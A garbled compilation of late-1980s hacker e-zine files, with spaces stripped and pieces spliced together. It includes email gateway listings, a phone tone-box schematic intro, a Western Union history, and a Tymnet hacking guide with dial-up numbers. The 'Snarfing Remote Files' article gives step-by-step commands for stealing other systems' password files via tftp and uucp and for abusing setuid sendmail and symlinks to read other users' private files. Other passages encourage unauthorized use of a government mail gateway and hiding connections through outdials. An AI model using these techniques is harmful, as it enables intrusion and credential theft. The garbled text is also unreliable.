TheinterconnectionsarebasedontheX.400standard,asetofguidelinesforthe
format,deliveryandreceiptofelectronicmessagesrecommendedbyaninternational
standardscommitteetheccitt.internationalx.400messagesincurasurcharge.They
are:
ToCanada:

Pernote:$0,05

Permessageunit:$0,1

Tootherinternationallocations:

Pernote:$0,2

Permessageunit:$0,5

ThereisnosurchargeforX.400messageswithintheU.S.Thefollowingare
contacts to speak with about mailing through these mentioned networks. Other
questionscanbedirectedthroughAT&TMail'stollfreenumber,1800624
5672.
MHSGateway:mhs!atlasMHSGateway:mhs!dacom
Administrator:BernardTardieuAdministrator:BobNicholson
TranspacAT&T
Phone:3399283203Morristown,NJ07960
Phone:+12016441838
MHSGateway:mhs!dialcomMHSGateway:mhs!elisa
Administrator:Mr.LaramanAdministrator:UllaKarajalainen
DialcomNokiaData
Phone:01135804371SouthPlainfield,NJ07080
Phone:+14414933843
MHSGateway:mhs!envoyMHSGateway:mhs!kdd
Administrator:KinC.MaAdministrator:ShigeoLwase
TelecomCanadaKokusaiDenshinDenwaCO.
Phone:+16135677584Phone:8133477419

MHSGateway:mhs!mailnetMHSGateway:mhs!otc
Administrator:KariAakalaAdministrator:GaryW.
GenDirectorateOfPost&KrumbineAT&TInformationSystems
Phone:35806921730Lincroft,NJ07738
Phone:+12015762658

MHSGateway:mhs!telemailMHSGateway:mhs
Administrator:JimKelsayAdministrator:AT&TMailMHS
GTETelenetCommCorpGatewayReston,VA22096AT&T
Phone:+17036896034Lincroft,NJ08838
Phone:+18006245672
CMR
PreviouslyknownasIntermail,theCommercialMailRelay(CMR)Serviceisa
mail relay service between the Internet and three commercial electronic mail
systems: US Sprint/ Telenet, MCI Mail, and Dialcom systems (i. e. Compmail,
NSFMAILandUsdaMail).
Animportantnote:Theonlyrequirementforusingthismailgatewayisthatthe
workconductedmustbeDarpasponsoredresearchandotherapprovedgovernment
business. Basically, this means that unless you've got some government related
business,you'renotsupposedtobeusingthisgateway.Regardless,itwouldbevery

difficult forthem toscreeneverythingthatgoesthroughtheirgateway.BeforeI

understoodtherequirementsofthisgateway,IwassendingtoauserofMCIMail
andwasnotcontactedaboutanyproblemswiththatcommunication.Unfortunately,I
mistypedtheMCIMailaddressononeofthelettersandthatletterendedupgetting
readbysystemadministratorswhotheninformedmethatIwasnottobeusingthat
system,aswellasthefactthattheywouldliketobillmeforusingit.Thatwasan
interestingthoughtontheirpartanyway,butdonotethatusingthisservicedoes
incurcharges.
TheCMRmailboxaddressineachsystemcorrespondstothelabel:
Telemail: [Intermail/ USCISI]Telemail/CompMail:IntermailorCMP0817
USA
NSFMail:IntermailorNSF153
MCIMail:Intermailor1078239 USDAMail:IntermailorAGS9999
Addressingexamplesforeachemailsystemareasfollows:
MCIMail:
157:NSF0123domain,then":"andthen
1234567sevendigitaddress
combinationsystemandaccountnumber
EverettT.Bowensperson'sname(mustbeUSDAMail:
unique!)
AGS0123threelettersfollowedbythree
CompMail:
orfourdigits
CMP0123threelettersfollowedbythreeP. Shifter initial, then "." and then last
orfourdigits
name
S. Cooper initial, then "." and then last 157:AGS0123domain,then":"andthen
name
combinationsystemandaccountnumber
134:CMP0123domain,then":"andthen Telemail:
combinationsystemandaccountnumber Barnocuser(directlyonTelemail)
NSFMail:
Barnoc/Lodhuser/organization(directly
NSF0123 three letters followed by three onTelemail)
orfourdigits
[Barnoc/ Lodh]Telemail/ USA [user/
A. Phillips initial, then"." and then last organization]systembranch/country
name

ThefollowingareotherTelenetsystembranches/countriesthatcanbemailedto:
Telemail/USA
NasaMail/USA
Mail/USA
TelememoAustralia
Telecom/Canada
TomMail/Chile

TMailUK/GB
ItalMail/Italy
Ati/Japan
PipMail/ROC
DGC/USA
FaaMail/USA

GSFC/USA
GteMail/USA
TM11/USA
Tnet.Telemail/USA
Usda/USA

Note:Omnet'sScienceNetisontheTelenetsystemMail/USAandtomailtoit,

theformatwouldbe[a.mailbox/omnet]Mail/USA.Thefollowingareavailable
subdivisionsofOmnet:

airAtmosphericSciences
oceanOceanSciences
earthSolidEarthSciences
polarInterdisciplinaryPolarStudies
lifeLifeSciences
spaceSpaceScienceandRemoteSensing
ThefollowingisalistofDialcomsystemsavailableinthelistedcountrieswith
theirdomainandsystemnumbers:
ServiceNameCountryDomainNumberSystemNumber
KeylinkDialcomAustralia6007,08,09
DialcomCanada2020,21,22,23,24
DPTDataboksDenmark12471
TeleboxFinland12762
TeleboxWestGermany3015,16
DialcomHongKong8088,89
EirmailIreland10074
GoldnetIsrael5005,06
MastermailItaly13065,67
MastermailItaly166,68
DialcomJapan7013,14
DialcomKorea152
TelecomGoldMalta10075
DialcomMexico152
MemocomNetherlands12427,28,29
MemocomNetherlands155
StarnetNewZealand6401,02
DialcomPuertoRico5825
TeleboxSingapore8810,11,12
DialcomTaiwan152
TelecomGoldUnitedKingdom10001,04,17,8089
DialcomUSA129,30,31,32,33,
34,37,38,4159,61,62,63,9099
Note:Youcanalsomailtousername@nasamail.nasa.govorusername@
gsfcmail.nasa.govinsteadofgoingthroughtheCMRgatewaytomailtoNasaMail
orGSFCMail. FormoreinformationandinstructionsonhowtouseCMR,senda
messagetotheusersupportgroupatintermailrequest@intermail.Isi.edu(you'll
getbasicallywhatI'velistedplusmaybeabitmore).PleasereadChapter3ofThe
Future Transcendent Saga (Limbo to Infinity) for specifics on mailing to these
destinationmailingsystems.
Compuserve

 CompuServeiswellknownforitsgamesandconferences.Itdoes,though,have
mailing capability. Now, they have developed their own Internet domain, called
compuserve.com.Itisrelativelynewandmailcanberoutedthrougheithertut.cis.
ohiostate.eduornorthwestern.arpa.Example:user%compuserve.com@tut.cis.
ohiostate. eduorreplacetut.cis.ohiostate.eduwithnorthwestern.arpa).The
CompuServelinkappearstobeapolledUUCPconnectionatthegatewaymachine.
Itisactuallymanagedviaasetofshellscriptsandacommutilitycalledxcomm,
which operates via command scripts built on the fly by the shell scripts during
analysisofwhatjobsexisttogointoandoutofCompuserve.Compuservesubscriber
accounts of the form 7xxxx, yyyy can be addressed as
7xxxx.yyyy@compuserve.com.Compuserveemployeescanbeaddressedbytheir
usernamesinthecsi.Compuserve.comsubdomain.CISsubscriberswritemailto
">inet:user@host.domain"tomailtousersontheWideAreaNetworks,where
">gateway:"isCompuserve'sinternalgatewayaccesssyntax.Thegatewaygenerates
fullyRFCcompliantheaders.TofullyextrapolatefromtheCompuServeside,you
would use their EasyPlex mailsystem to send mail to someone in Bitnetor the
Internet.Forexample,tosendmemailatmyBitnetID,youwouldaddressitto:Inet:
c488869%umcvmb.bitnet@cunyvm.cuny.edu
OrtomyInternetID:
Inet:c488869@umcvmb.missouri.edu
Now,ifyouhaveaBitnettoInternetuserid,thisisasillythingtodo,sinceyour
connect time to CompuServe costs you money. However, you can use this
information to let people on Compuserve contact you. Compuserve Customer
ServicesaysthatthereisnochargetoeitherreceiveorsendamessagetotheInternet
orBitnet.
Dasnet
DasnetisasmallernetworkthatconnectstotheWideAreaNetworksbutcharges
for their service. Dasnet subscribers get charged for both mail to users on other
networksandmailforthemfromusersofothernetworks.Thefollowingisabrief
descriptionofDasnet,someofwhichwastakenfromtheirpromotionaltextletter.
Dasnetallowsyoutoexchangeelectronicmailwithpeopleonmorethan20systems
andnetworksthatareinterconnectedwithDasnet.Oneofthedrawbacks,though,is
that,afterbeingsubscribedtotheseservices,youmustthensubscribetoDasnet,
whichisaseparatecost.MembersofWideAreanetworkscansubscribetoDasnet
too. Some of the networks and systems reachable through Dasnet include the
following: ABA/ net, ATT Mail, BIX (Byte Information Exchange), Dasnet
Network, Dialcom,Eies, EasyLink, Envoy 100,FAX, GeoMail, Inet,MCI Mail,
NWI,PeaceNet/EcoNet,PortalCommunications,TheMetaNetwork,TheSource,
Telemail,Ati'sTelemail(Japan),Telex,TWICS(Japan),Unison,UUCP,TheWell
andDomains(i.e.".com"and".edu"etc.).Newsystemsareaddedallofthetime.As
ofthewritingofthisfile,Connect,GoverNet,MacNet,andTheAmericanInstitute
ofPhysicsPiMailaresoontobeconnected. Youcangetvariousaccountson

Dasnetincluding:
Corporate Accounts If your organization wants more than one individual
subscription.
Site Subscriptions If you want Dasnet to link directly to your organization's
electronicmailsystem.
TosendemailthroughDasnet,yousendthemessagetotheDasnetaccounton
yourhomesystem.Youreceiveemailatyourmailbox,asyoudonow.Onthe
WideAreaNetworks,yousendmailtoxb.das@stanford.bitnet.OntheSubject:
line,youtypetheDasnetaddressinbracketsandthentheusernamejustoutsideof
them.Therealsubjectcanbeexpressedaftertheusernameseparatedbya"!"
(Example:Subject:[0756TK]randy!How'sFranck?).Theonlydisadvantageof
usingDasnetasopposedtoWideAreanetworksisthecost.Subscriptioncostsasof
3/3/89cost$4,75permonthor$5,75permonthforhoststhatareoutsideofthe
U. S. A. You are also charged for each message that you send. If you are
correspondingwithsomeonewhoisnotaDasnetsubscriber, theirmailto you is
billedtoyouraccount.Thefollowingisanabbreviatedcostlistformailingtothe
differentservicesofDasnet:
PartialListDasnetCostDasnetCostofServices

1st1000EachAdd'l1000
LinkedbyDasnet(email)characters
Characters:Inet,MacNet,PeaceNet
Note:20linesUnison,UUCP*,
Domains,.21.11oftextisapp.;e.g..com,.edu*1000characters.
DialcomAny"host"inU.S..36.25
DialcomHostsoutsideU.S..93.83
EasyLink(FromEasyLink).21.11
(ToEasyLink).55.23
U.S.FAX(internat'lavail.).79.37
GeoMailAny"host"inU.S..21.11
GeoMailHostsoutsideU.S..74.63
MCI(fromMCI).21.11
(toMCI).78.25
(PapermailUSA)2.31.21
Telemail.36.25
W.U.TelexUnitedStates1.791.63
(YoucanalsosendTelexesoutsidetheU.S.)

TwicsJapan.89.47

*Thechargesgivenherearetothegatewaytothenetwork.TheDasnetuserisnot
charged for transmission on the network itself. Subscribers to Dasnet get a free
DasnetNetworkDirectoryaswellasalistinginthedirectoryandtheabilitytoorder

optionalDasnetserviceslikeautoportingorDasnetTelexServicewhichgivesyou
yourownTelexnumberandanswerbackfor$8,4amonthatthistime.Dasnetisa
registeredtrademarkofDaSystemsInc.

DASystems,Inc.
4085597434
1503E.CampbellAve.
Telex:9103803530
Campbell,CA95008

ThefollowingtwosectionsonPeaceNetandAppleLinkareinassociationwith
Dasnetasthisnetworkiswhatisusedtoconnect:
<eof>
Therewasanerrorinthetranscieving.Partwaserased.Thisisallthatwassaved.
Sorry!
FrackInc.VolumeThree,Issue28,File#5of12

ARealFunctioningPearlBoxSchematic

written,testedandusedbyDispatcher
July1,1989
Introduction

AfterreadingtheearlierrenditionsofschematicsforthePearlBox,Idecidedthat
therewasaneasierandcheaperwayofdoingthesamethingwithanICandparts
youprobablyhavejustlayingaroundthehouse.
WhatIsAPearlBoxandWhyDoIWantOne?
APearlBoxisatonegeneratingdevicethatisusedtomakeawiderangeofsingle
tones.Therefore,itwouldbeveryeasytomodifythisbasicdesigntomakeaBlue
Boxbymaking2PearlBoxesandjoiningthemtogetherinsomefashion.APearl
Boxcanbeusedtocreateanytoneyouwishthatotherboxesmaynot.Italsohasa
tonesweepoptionthatcanbeusedfornumerousthingslikedetectingdifferenttypes
ofphonetappingdevices.
PartsList
CD4049 RCA integrated circuit; .1 uF disk capacitor; 1 uF 16V electrolytic
capacitor;1Kresistor;10Mresistor;1megpot;1N914diode;someSPSTmomentary
push button switches; 1 SPDT toggle switch; 9 Volt battery & clip and
miscellaneousstuffyoushouldhavelayingaroundthehouse.
StateoftheArtTextSchematic
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FrackInc.VolumeThree,Issue28,File#6of12
SnarfingRemoteFiles
byDarkOverlord

Therearemanywaysofgettingcopiesoffilesfromaremotesystemthatyoudo
nothavepermissiontoreadoranaccountonloginontoandaccessthemthrough.
Manyadministratorsdonotevenbothertorestrictmanyaccesspointsthatyoucan
use. Here are the simplest ways: Use uucp(1) [Trivial File Transfer Protocol] to
retrieveacopyofafileifyouarerunningonanInternetbasednetwork.Abuse
uucp(1)[UnixtoUnixCopyProgram]toretrieveacopyofafileifuucpconnections
arerunningonthatsystem.Accessoneofmanyknownsecurityloopholes.Inthe

followingexamples,wewillusethepasswordfileasthefiletoacquiresinceitisa
readablefilethatcanbefoundonmostsystemsthattheseattacksarevalidon.
MethodA
Firststartthetftpprogram.Enterthecommand:
tftp
[Youhavethefollowingprompt:]
tftp>
Thenextstepistoconnecttothesystemthatyouwishtoretrievefilesfrom.Atthe
tftp,type:
tftp>connectother.System.com
Nowrequestthefileyouwishtogetacopyof(inourcase,thepasswdfile/etc/
passwd):
tftp>get/etc/passwd/tmp/passord
[Youshouldseesomethingthatlookslikethefollowing:].Received185659bytes
in22seconds.Nowexitthetftpprogramwiththe"quit"command:
tftp>quit
Youshouldnowhaveacopyofother.System.com'spasswdfileinyourdirectory.
Note:SomeUnixsystems'tftpprogramshaveadifferentsyntax.Theabovewas
testedunderSunOS4.0.Forexample,onApollos,thesyntaxis:
tftp{g|g!|p|r|w}<localfile><host><foreignfile>[netascii|image]
Thusyoumustusethecommand:
tftpgpassword_filenetworkedhost/etc/password
Consultyourlocal"man"pagesformoreinfo(orinotherwordsRTFM).
Attheendofthisarticle,Iwillincludeashellscriptthatwillsnarfapasswordfile
fromaremotehost.Touseittype:
gpwsystem_name
MethodB
Assumingwearegettingthefile/etc/passwdfromthesystemuusuckerandour
systemhasadirectuucpconnectiontothatsystem,itispossibletorequestacopyof
thefilethroughtheuucplinks.Thefollowingcommandwillrequestthatacopyof
thepasswordfilebecopiedintouucp'shomedirectory/usr/spool/uucppublic:
uucpmuusucker!/etc/password>uucp/uusucker_password
Theflag"m"meansyouwillbenotifiedbymailwhenthetransferiscompleted.
MethodC
Thethirdpossiblewaytoaccessthedesiredfilerequiresthatyouhavethelogin
permissiontothesystem.InthiscasewewillutilizeawellknownbuginUnix's
sendmaildaemon.Thesendmailprogramhasandoption"C"inwhichyoucan
specifytheconfigurationfiletouse(bydefaultthisfileis/usr/lib/sendmail.cfor/
etc/sendmail.cf).Itshouldalsobenotedthatthediagnosticsoutputtedbysendmail

containtheoffendinglinesoftext.Alsonotethatthesendmailprogramrunssetuid
root.Thewayyoucanabusethissetoffacts(ifyouhavenotyetguessed)isby
specifyingthefileyouwishreadastheconfigurationfile.Thusthecommand:
sendmail/usr/accounts/random_joe/private/file
Will giveyouacopyof randomjoe'sprivatefile.Anothersimilartrickisto
symlinkyour.mailcffiletojoe'sfileandmailsomeone.Whenmailexecutessend
mail(tosendthemail),itwillloadinyourmailcfandbarfoutjoe'sstuff.First,link
joe'sfiletoyour.mailcf.
lns/usr/accounts/random_joe/private/file$home/.mailcf
Next,sendmailtosomeone.mailc488869@umcvmb.missouri.eduandhave
fun.
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:
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:
/usr/ucb/tftp$1<<EOF
modeASCII
verbose
trace
get/etc/password/tmp/pw.$1
quit
Eof.VolumeThree,Issue30,File#10of12
WesternUnionTelex,TWXandTimeService

byPhoneFanatic
September17,1989

"UntilafewyearsagomaybetenitwasverycommontoseeTWXandTelex
machines in almost every business place." There were only minor differences
betweenTelexandTWX.Thebiggestdifferencewasthattheformerwasalwaysrun
byWesternUnion,whilethelatterwasrunbytheBellSystemforanumberofyears.
TWX literally meant "(T)ype(W)riter e(x)change" and it was Bell's answer to
competitionfromWesternUnion.Therewere"threerow"and"fourrow"machines,
meaningthenumberofkeysonthekeyboardandhowtheywerelaidout.The"three
row"machinesweresimplypartoftheregularphonenetwork;thatis,theycoulddial
outandtalktoanotherTWXalsoconnectedonregularphonelines.Eventuallythese
werephasedoutinfavourof"newerandmoreimproved"machineswithadditional
keys,aswellasapapertapereaderattachmentwhichallowedsendingthesame
messagerepeatedlytomanydifferentmachines.These"fourrow"machineswerenot
ontheregularphonenetwork,butwereassignedtheirownareacodes(410510
610710810910)wheretheystillremaintoday.Theonlywayafourrowmachine
couldcallathreerowmachineorviceversawasthroughagatewayofsortswhich
translated some of the character set unique to each machine. Western Union' s
networkwascalledTelexandinadditiontobeingabletocontact(bydialup)other

similarmachines,TelexcouldconnectwithTWX(andviceversa)aswellasallthe
Western Union public offices around the country. Until the late 1950's or early
1960's,everysmalltowninAmericahadaWesternUnionoffice.Bigcitieslike
Chicagohadperhapsadozenofthem,andtheyusedmessengerstohanddeliver
telegramsaroundtown.Telegramscouldbeplacedinpersonatanypublicoffice,or
couldbecalledintothenearestpublicoffice.Byarrangementwithmosttellcos,the
Western Union office in town nearly always had the phone number 4321, later
supplemented in automated exchanges with some prefix XXX 4321. Telegrams
couldbechargedtoyourhomephonebill(thisisstillthecaseinsomecommunities)
andfromacoinphone,onedidnotaskfor4321,butrather,calledtheoperatorand
askedforWesternUnion.Thiswasnecessarysinceoncethetelegramhadbeengiven
verballytothewireclerk,she/heinturnhadtoflashthehookandgetyouroperator
backonthelinetotellthem"collectfivedollarsandtwentycents"orwhateverthe
costwas.Telegrams,likephonecalls,couldbesentcollectorbilledthirdparty.If
youhadanaccountwithWesternUnion,i.e.aTelexmachineinyouroffice,you
couldchargethecallsthere,butmostlikelyyouwouldsimplysendthetelegram
fromthereinthefirstplace.Sometimeintheearly1960's,WesternUnionfiledsuit
againstAT&TaskingthattheyturnovertheirTWXbusinesstothem.Theycitedan
earliercourtruling,circa1950's,whichsaidAT&Twasprohibitedfromacquiring
any more telephone operating companies except under certain conditions. The
SupremeCourtagreedwithWesternUnionthat"spokenmessages"werethedomain
ofMaBell,but"writtenmessages"werethedomainofWesternUnion.SoBellwas
requiredtodivestitselfoftheTWXnetworkandWesternUnionhasoperatedit
since,althoughafewyearsagotheybeganphasingoutthephrase"TWX"infavour
of"TelexII";theiroriginaldevicebeing"TelexI"ofcourse.TWXstillusestendigit
dialling with 610 (Canada) or 710/ 910 (USA) being the leading three digits.
Apparently410510havebeenabandonedoratleasttheyareusedverylittleand
Bellcorehasassigned510totheSanFranciscoareastartinginayearorso.410still
has some funny things on it, like the Western Union "Infomaster," which is a
computerthatfunctionslikeagatewaybetweenTelex,TWX,EasyLinkandsome
otherstuff.Today,theWesternUnionnetworkisbutaskeletonofitsformerself.
Nowmostoftheirmessagesarehandledondialupterminalsconnectedtothepublic
phonenetwork.IthasbeenestimatedtheTWX/Telexbusinessisaboutfiftypercent
ofwhatitwasadecadeago,ifthatmuch.ThentherewastheTimeService,aneat
thingwhichWesternUnionofferedforoverseventyyears,untilitwasdiscontinued
inthemiddle1960's.TheTimeServiceprovidedanimportantfunctioninthedays
before alternating current was commonly available. For example, Chicago didn't
haveACelectricityuntilabout1945.PriortothatweusedDCordirectcurrent.
Well,torunanelectricclock,youneed60cyclesACcurrentforobviousreasons,so
priortotheconversionfromDCpowertoACpower,electricwallclockssuchasyou
see in every office were unheard of. How were people to tell the time of day
accurately ? Enter the Western Union clock. The Western Union, or "telegraph
clock"wasaspringdrivenwindupclock,butwithadifference.Theclockswere
"perpetuallyselfwinding,"manufacturedbytheSelfWindingClockCompanyof
NewYorkCity.Theyhadlargebatteriesinsidethem,knownas"telephonecells"

whichhadalifeofabouttenyearseach.Amechanicalcontrivanceintheclock
wouldrotateastheclockspringunwound,andonceeachhourwouldcausetwo
metalclipstocontactforabouttenseconds,whichwouldpassjuicetothelittle
motorintheclockwhichinturnrewoundthemainspring.Theprinciplewasthe
sameasthebatteryoperatedclocksweseetoday.Thebatterydoesnotactuallyrun
theclockdirectcurrentcan'tdothatbutitdoespowerthetinymotorwhichre
windsthespringwhichactuallydrivestheclock.TheWesternUnionclockscamein
varioussizesandshapes,rangingfromthesmallestdialswhichwerenineinchesin
diameter tothelargest whichwereabouteighteeninchesindiameter.Somehad
sweepsecondhands;othersdidnot.Somehadalittleredlightbulbonthefront
whichwouldflash.Thetypicalmodelwasaboutsixteeninches,andwasfoundin
offices, schools, transportation depots, radio station offices, and of course in the
telegraphofficeitself.Theonethingalltheclockshadincommonwastheirbrown
metalcaseandcreamcolouredface,withtheinsignia"WesternUnion"andtheir
corporatelogointhosedayswhichwasaboltofelectricity,sortoflikealetter"Z"
laying on its side. And in somewhat smaller print below, the words "Naval
Observatory Time". The local clocks in an office or school or wherever were
calibratedbya"masterclock"(actuallyasubmaster)onthepremises.Onceanhour
onthehour,the(sub)masterclockwoulddropametalcontactforjustahalfsecond,
andsendaboutninevoltsDCupthelinetoallthelocalclocks.Theyinturnhada
"tolerance"ofabouttwominutesonbothsidesofthehoursothatthecurrentcoming
tothemwouldyanktheminutehandexactlyuprightontothetwelvefromeither
directioniftheclockwasfastorslow.Thesubmasterclocksineachbuildingwere
inturnservicedbythemasterclockintown;usuallythiswastheoneinthetelegraph
office.Everyhouronthehalfhour,themasterclockinthetelegraphofficewould
throwcurrenttothesubmasters,yankingthemintosynchasrequired.Andasforthe
telegraphofficesthemselves,theywereservicedtwiceadaybyyouguesseditthe
Naval Observatory Master clock in Our Nation's Capitol, by the same routine.
Someonetherewouldpresshalfadozenbuttonsatthesametime,usingallavailable
fingers;currentwouldflowtoeverytelegraphofficeandsynchallthemasterclocks
ineverycommunity.WesternUnionchargedfiftycentspermonthfortheservice,
andtossedtheclockinforfree!Ohyes,therewasaninstallationchargeofabout
twodollarswhen youfirst hadservice (i.e.a clock) installed. The clockswere
installedandmaintainedbythe"clockman,"atechnicianfromWesternUnionwho
spenthisdaygoingaroundhangingnewclocks,takingthemoutofservice,changing
batterieseveryfewyearsforeachclocketc.Whatapanicitwasforthemwhen"war
time"(whatwenowcallDaylightSavingsTime)camearoundeachyear!Wally,the
guywhoservicedalltheclocksindowntownChicagohadtostarton*Thursday*
before the Sunday official changeover just to finish them all by *Tuesday*
following.Hewouldliterallyrushinanoffice,usehisscrewdrivertoopenthecase,
twirl the hour hand around one hour forward in the spring, (or eleven hours
*forward* in the fall since the hands could not be moved backward beyond the
twelvegoingcounterclockwise),slamthecasebackon,screwitinandmove
downthehalltothenextclockandrepeattheprocess.Hecouldfinishseveraldozen
clocksperdayandusuallytheofficeassignedhimahelpertwiceayearforthese

events.Hesaidtheyneverbotheredtolinetheminutehandupjustright,becauseit
wouldhavetakentoolongand"anyway,aslongaswegotitwithinaminuteorso,it
wouldsynchitselfthenexttimethemasterclocksentasignal".Workingfast,ittook
aminutetoaminuteandahalftoopenthecase,twirltheminutehand,putthecase
backon,"stopandb.s.withthereceptionistforacoupleseconds"andmovealong.
Themasterclocksentitssignaloverregulartellcophonelines.Usuallyitwould
terminateinthemainofficeofwhateverplaceitwasandthe(sub)masterthere
wouldtakeoveratthatpoint.Wallysaiditwasveryimportanttodoaprofessional
jobofhangingtheclocktobeginwith.Ithadtobelevel,andthependulumhadtobe
just right, otherwise the clock would gain or lose more time than could be
accommodatedinthehourlysynchingprocess.Hesaiditwasaveryrareclockthat
actually was out by even a minute once an hour, let alone the two minutes of
tolerancebuiltintothegearworks."SometimesIwouldcometoworkonMonday
morningandfindoutintheofficethattheclocklinehadgoneopenFridayevening.
Sonobodyallweekendgotasignal.UsuallyIwouldgodownamanholeandfindit
opensomeplacewhereoneoftheBellguysmessedituportookitoffandneverput
itbackon.Tofindoutwhereitwasopen,someoneintheofficewouldringoutthe
line;I'dgoarounddowntownfollowingtheloopaswehaditlaidout,andkeep
listeningonmyheadsetforit.WhenIfoundthebreakortheopen,Iwouldtieit
downagainandtheofficewouldreleasetheline;butthenIhadtogotoalltheclocks
*before*thatpointandrestartthem,sincetheconstantcurrentfromtheofficeduring
thesearchhadusuallycausedthemtostop."Buthesaid,timeandagain,theclocks
wereusuallysowellmountedandhungthat"itwasrarewewouldfindonesofarout
ofsynchthatwehadtoadjustitmanually.Usuallythefirstsignaltomakeitthrough
onceIrepairedthecircuitwouldyankeveryoneintowntomakeupforwhatever
they lost or gained over the weekend". In 1965, Western Union decided to
discontinuetheTimeService.Inanostalgiclettertosubscribers,theyannounced
theirdecisiontosuspendoperationsattheendofthecurrentmonth,butsaid"forold
time'ssake"anyonewhohadaclockwaswelcometokeepitandcontinueusingit;
therejustwouldnotbeanysettingsignalsfromthemasterclocksanylonger.Within
a day or two of the official announcement, every Western Union clock in the
Chicagoareaheadquartersbuildingwasgone.Theexecutivessnatchedthemoffthe
wall,andtookthemhomeforthedaywhentheywouldhavehistoricalvalue.Allthe
clocksinthetelegraphofficesdisappearedaboutthesametime,tobereplacedwith
standardofficestyleelectricwallclocks.
FrackInc.VolumeThree,Issue30,File#3of12

bySynthecide

Hacking&Tymnet

Thereareliterallyhundredsofsystemsconnectedtosomeoftheselargernetworks,
like Tymnet and Telenet. Navigation around these networks is very simple, and
usuallywellexplainedintheironlinedocumentation.Furthermore,somesystems

willactuallytellyouwhatisconnectedandhowtogettoit.InthecaseofTymnet,
after dialling in, at the log in prompt, type "information" for the online
documentation.Accessingsystemsthroughnetworksisassimpleasprovidingan
addressforittoconnectto.Thebestwaytolearnabouttheaddressesandhowtodo
thingsonanetworkistoread"ANovice'sGuidetoHacking(1989Edition)"which
wasinIssue22,File4of12,VolumeTwo(December23,1988).Somepointsarere
iteratedhere.Onceonanetwork,youprovidetheNUA(networkuseraddress)ofthe
systemyouwishtoconnectto.NUAsarestringsof15digits,brokenupinto3
fields,thenetworkaddress,theareaprefix,andtheDNIC.Eachfieldhas5digits,
andareleftpaddedwith0'swherenecessary.TheDNICdetermineswhichnetwork
totaketheaddressfrom.Tymnet,forexample,is03106.03110isTelenet.Thearea
prefix and network address determine the connection point. By providing the
addressofthesystemthatyouwishtoconnectto,youwillbeaccessingitthrough
thenet,asifyouwerecallingitdirectly.Obviously,then,thisprovidesonemore
levelofsecurityforaccess.Byconnectingtoanoutdial,youcanincreaseagainthe
levelofsecurityyouenjoy,byusingtheoutdialinthatareatoconnecttotheremote
system.
AddendumAccessingTymnetOverLocalPacketNetworks
Thisisjustanotherwaytogetthatextrastepand/orbypassotherroutes.Thistable
iscopiedfromTymnet'sonlineinformation.Assaidearlier,it'sagreatresource,
thisonlineinformation!
BellAtlantic

NodeCityStateSpeedAccessNumberNTWK
03526DoverDelaware300/2400302/7349465@pdn
03526GeorgetownDelaware300/2400302/8567055@pdn
03526NewarkDelaware300/2400302/3660800@pdn
03526WilmingtonDelaware300/1200302/4280030@pdn
03526WilmingtonDelaware2400302/6551144@pdn
06254WashingtonDist.ofCol.300/1200202/4797214@pdn
06254Washington(Midtown)Dist.ofCol.2400202/7851688@pdn
06254WashingtonN(Downtown)Dist.ofCol.300/1200202/3936003@pdn
06254Washington(Midtown)Dist.ofCol.300/1200202/2934641@pdn
06254WashingtonDist.ofCol.300/1200202/5465549@pdn
06254WashingtonDist.ofCol.300/1200202/3280619@pdn
06254BethesdaMaryland300/1200301/9869942@pdn
06254ColesvilleMaryland300/2400301/9899324@pdn
06254HyattsvilleMaryland300/1200301/7799935@pdn
06254LaurelMaryland300/2400301/4909971@pdn
06254RockvilleMaryland300/1200301/3409903@pdn
06254SilverspringMaryland300/1200301/4959911@pdn
07771BernardsvilleNewJersey300/2400201/7667138@pdn

07771ClintonNewJersey3001200201/7308693@pdn
07771DoverNewJersey300/2400201/3619211@pdn
07771Eatontown/RedBankNewJersey300/2400201/7588000@pdn
07771ElizabethNewJersey300/2400201/2895100@pdn
07771EnglewoodNewJersey300/2400201/8713000@pdn
07771FreeholdNewJersey300/2400201/7808890@pdn
07771HackensackNewJersey300/2400201/3439200@pdn
07771JerseyCityNewJersey300/2400201/6593800@pdn
07771LivingstonNewJersey300/2400201/5330561@pdn
07771LongBranchRedBankNewJersey300/2400201/7588000@pdn
07771MadisonNewJersey300/2400201/5930004@pdn
07771MetuchenNewJersey300/2400201/9069500@pdn
07771MiddletownNewJersey300/2400201/9579000@pdn
07771MorristownNewJersey300/2400201/4550437@pdn
07771NewarkNewJersey300/2400201/6230083@pdn
07771NewBrunswickNewJersey300/2400201/2472700@pdn
07771NewFoundlandNewJersey300/2400201/6979380@pdn
07771PassaicNewJersey300/2400201/4736200@pdn
07771PatersonNewJersey300/2400201/3457700@pdn
07771PhillipsburgNewJersey300/2400201/4549270@pdn
07771PomptonLakesNewJersey300/2400201/8358400@pdn
07771RedBankNewJersey300/2400201/7588000@pdn
07771RidgewoodNewJersey300/2400201/4454800@pdn
07771SomervilleNewJersey300/2400201/2181200@pdn
07771SouthRiverNewJersey300/2400201/3909100@pdn
07771SpringLakeNewJersey300/2400201/9740850@pdn
07771TomsRiverNewJersey300/2400201/2863800@pdn
07771WashingtonNewJersey300/2400201/6896894@pdn
07771Wayne/PatersonNewJersey300/2400201/3457700@pdn
03526AllentownPennsylvania300/1200215/4350266@pdn
11301AltoonaPennsylvania300/1200814/9468639@pdn
11301AltoonaPennsylvania2400814/9490505@pdn
03526AmblerPennsylvania300/1200215/2832170@pdn
10672AmbridgePennsylvania300/1200412/2669610@pdn
10672CarnegiePennsylvania300/1200412/2761882@pdn
10672CharleroiPennsylvania300/1200412/4839100@pdn
03526ChesterHeightsPennsylvania300/1200215/3580820@pdn
03526CoatesvillePennsylvania300/1200215/3837212@pdn
10672ConnellsvillePennsylvania300/1200412/6287560@pdn
03526Downington/CoatesPennsylvania300/1200215/3837212@pdn
03562DoylestownPennsylvania300/1200215/3400052@pdn
03562GermantownPennsylvania300/1200215/8434075@pdn
10672GlenshawPennsylvania300/1200412/4876868@pdn
10672GreenburgPennsylvania300/1200412/8367840@pdn
11301HarrisburgPennsylvania300/1200717/2363274@pdn

11301HarrisburgPennsylvania2400717/2380450@pdn
10672IndianaPennsylvania300/1200412/4657210@pdn
03526KingofPrussiaPennsylvania300/1200215/2702970@pdn
03526KirklynPennsylvania300/1200215/7895650@pdn
03526LandsdownePennsylvania300/1200215/6269001@pdn
10672LatrobePennsylvania300/1200412/5370340@pdn
11301Lemoyne/HarrisburgPennsylvania300/1200717/2363274@pdn
10672McKeesportPennsylvania300/1200412/6736200@pdn
10672NewCastlePennsylvania300/1200412/6585982@pdn
10672NewKesingtonPennsylvania300/1200412/3370510@pdn
03526NorristownPennsylvania300/1200215/2702970@pdn
